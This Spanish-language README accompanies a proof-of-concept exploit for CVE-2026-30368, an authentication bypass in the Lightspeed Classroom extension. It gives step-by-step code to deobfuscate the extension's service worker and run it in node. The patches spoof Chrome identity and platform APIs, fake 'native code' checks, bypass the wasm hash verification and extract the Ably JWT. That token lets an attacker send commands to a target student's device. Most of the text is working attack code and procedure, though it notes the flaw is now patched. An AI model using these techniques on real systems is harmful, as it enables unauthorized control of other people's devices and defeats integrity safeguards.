
Prueba de concepto del exploit para CVE-2026-30368, que demuestra la omisión de autenticación en Lightspeed Classroom para controlar los dispositivos de los estudiantes a través del canal de Ably.
[!IMPORTANT]
Esto está parcheado y ahora requiere credenciales; usa el workaround para realizar acciones sobre ti mismo.
CVE-2026-30368 permite a un atacante controlar dispositivos de estudiantes mediante una falla de autenticación débil en la gestión de Lightspeed Classroom. El POC (poc.js) ejecuta el service worker de la extensión LS Classroom en contexto global. El worker también ejecuta classroom.wasm para algunas funciones. wasm-loader.js carga el worker y extrae el token JWT generado por classroom.wasm. Una vez extraído, termina el worker y luego envía el token a las APIs de Lightspeed para recibir un token usado para conectarse al canal Ably del objetivo. Desde allí, un atacante podría enviar un comando a un dispositivo de estudiante. La lista de comandos y mucha más información está en el writeup completo ubicado aquí.
[!IMPORTANT]
IMPORTANTE: Debido a desarrollos recientes, ya no se requieren archivos de extensión para el exploit en absoluto. El resto del README puede ignorarse. Simplemente completa los valores en oauth-poc.js y sigue las instrucciones para la depuración remota de Chrome. El README se conservará por razones históricas.
Para evitar problemas, recomiendo usar la versión 5.1.2.1763770643. Si necesitas ayuda para adaptar versiones más nuevas, es tu responsabilidad.
Puedes obtener los archivos worker.js y classroom.wasm del código fuente de la extensión de Lightspeed. Esto se puede obtener iniciando sesión con tu cuenta escolar en Chrome en un dispositivo personal y luego extrayendo el código fuente de la extensión desde la carpeta de extensiones ubicada en el directorio de tu perfil de Chrome. También puedes descargar manualmente el crx a través de la URL de actualización.
El método más sencillo de este exploit es obtener primero classroom.wasm del código fuente de tu extensión, luego pegarlo en el mismo directorio que wasm-only.js y ejecutar:
$ node wasm-only.js
Introduce un correo electrónico y un ID de cliente cuando se solicite. Esto se conectará al canal de ably. Ve a la línea 815 y descomenta lo que quieras para enviar mensajes. Crédito: ktibow en discord
Una vez que tengas los archivos, simplemente añádelos al directorio del repositorio clonado. Tendrás que ir a wasm-loader.js, a la función getManifest(), y pegar allí el manifiesto de tu extensión. También tendrás que añadir el ID de la extensión a wasm-loader.js en la parte superior.
Haz una copia de worker.js con el nombre de archivo que prefieras. La necesitarás más adelante. Tendrás que pasar worker.js por webcrack para desofuscarlo y desminificarlo y poder realizar las modificaciones necesarias. Al hacer esto, asegúrate de seleccionar únicamente las opciones "Deobfuscate" y "Unminify". Antes de pegar el resultado de nuevo en tu editor, se recomienda desactivar todos los servidores LSP, ya que eliminarán variables aleatorias y harán que el worker se rompa en las etapas posteriores (mirándote a ti, vtsls...)
Dado que el service worker se ejecutará en node.js (asegúrate de tenerlo instalado), necesitará algunos parches para funcionar correctamente. También hay que añadir la lógica de extracción de JWT. Añade las siguientes 2 funciones en el muy principio de worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Estos se usarán cuando modifiquemos el runtime de wasm de Go para interceptar y modificar los valores utilizados por el wasm del aula de LS.
Asegúrate de reemplazar YOUR_EXTENSION_ID con el ID de tu extensión y worker_copy.js con el nombre del archivo de la copia de worker.js original que hiciste previamente.
A continuación, añade estas 2 funciones dentro de la función flecha principal (después de (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
A continuación, debes codificar de forma fija IsClassroomActive como true para poder ejecutar esto fuera de las redes del campus. Simplemente cambia la función para que siempre devuelva true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Luego, busca syscall/js.valueCall para encontrar la función valueCall que necesita ser modificada. Esto es lo que informa al wasm de un valor de JS. Los 2 valores que son interceptados y modificados al modificar esta función son la ruta de worker.js (se cambia a la copia de tu worker para que la verificación de hash pase) y el valor de chrome.identity.getProfileUserInfo.toString se cambia para que diga native code de modo que el WASM crea que se puede confiar en él cuando en realidad ha sido modificado al principio del archivo. Para hacer esto, necesitas usar las funciones valueCallBefore y valueCallAfter que definimos al principio. Modifica la función valueCall de esta manera (los nombres de las variables variarán, pero la estructura es la misma):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Casi terminado. Por último, debes añadir código para capturar el JWT. Busca echoMessages: false y encontrarás la variable que contiene la lista de encabezados enviados a Ably. Justo debajo de eso, añade esta línea (es muy probable que los nombres de las variables no sean exactos, puedes encontrar la misma línea accediendo a ablyJwt en authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Esto asigna el JWT a una variable en el ámbito global para que wasm-loader.js (el "arnés" que ejecuta el service worker) pueda acceder a él. Con esto concluye la modificación del worker. Asegúrate de que todos tus LSP sigan desactivados. Si se vuelven a activar, es posible que experimentes problemas con variables no definidas más adelante.